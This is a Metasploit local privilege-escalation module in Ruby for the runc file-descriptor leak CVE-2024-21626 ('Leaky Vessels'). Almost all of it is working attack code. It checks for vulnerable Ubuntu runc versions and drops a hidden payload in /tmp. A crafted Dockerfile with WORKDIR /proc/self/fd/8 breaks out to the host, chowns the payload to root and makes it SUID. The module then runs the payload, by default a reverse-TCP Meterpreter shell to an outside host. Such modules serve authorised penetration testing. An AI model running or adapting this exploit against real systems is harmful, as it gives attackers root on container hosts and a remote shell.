runc 1.1.11 File Descriptor Leak Privilege Escalation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',        'Description' => %q{          All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,          and Kubernetes are vulnerable to an arbitrary file write.          Due to a file descriptor leak it is possible to mount the host file system          with the permissions of runc (typically root).          Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Rory McNamara' # Discovery        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'References' => [          [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],          [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],          [ 'CVE', '2024-21626']        ],        'DisclosureDate' => '2024-01-31',        'DefaultTarget' => 0,        'Notes' => {          'AKA' => ['Leaky Vessels'],          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK]        },        'DefaultOptions' => {          'EXITFUNC' => 'thread',          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'MeterpreterTryToFork' => true        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),      OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),      OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),    ]  end  def base_dir    datastore['WritableDir'].to_s  end  def check    sys_info = get_sysinfo    unless sys_info[:distro] == 'ubuntu'      return CheckCode::Safe('Check method only available for Ubuntu systems')    end    return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')    # Check the app is installed and the version, debian based example    package = cmd_exec('runc --version')    package = package.split[2] # runc, version, <the actual version>    if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2       package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched       package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched      return CheckCode::Appears("Vulnerable runc version #{package} detected")    end    unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln      return CheckCode::Appears("Vulnerable runc version #{package} detected")    end    CheckCode::Safe("runc #{package} is not vulnerable")  end  def exploit    # Check if we're already root    if !datastore['ForceExploit'] && is_root?      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'    end    # Make sure we can write our exploit and payload to the local system    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    # create directory to write all our files to    dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    mkdir(dir)    register_dirs_for_cleanup(dir)    # Upload payload executable    payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"    vprint_status("Uploading Payload to #{payload_path}")    write_file(payload_path, generate_payload_exe)    register_file_for_cleanup(payload_path)    # write docker file    vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")    dockerfile = %(FROM #{datastore['DOCKERIMAGE']}    WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}    RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )    write_file("#{dir}/Dockerfile", dockerfile)    register_file_for_cleanup("#{dir}/Dockerfile")    print_status('Building from Dockerfile to set our payload permissions')    output = cmd_exec "cd #{dir} && docker build ."    output.each_line { |line| vprint_status line.chomp }    # delete our docker image    if output =~ /Successfully built ([a-z0-9]+)$/      print_status("Removing created docker image #{Regexp.last_match(1)}")      output = cmd_exec "docker image rm #{Regexp.last_match(1)}"      output.each_line { |line| vprint_status line.chomp }    end    fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"    fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path    print_status("Payload permissions set, executing payload (#{payload_path})...")    cmd_exec "#{payload_path} &"  endend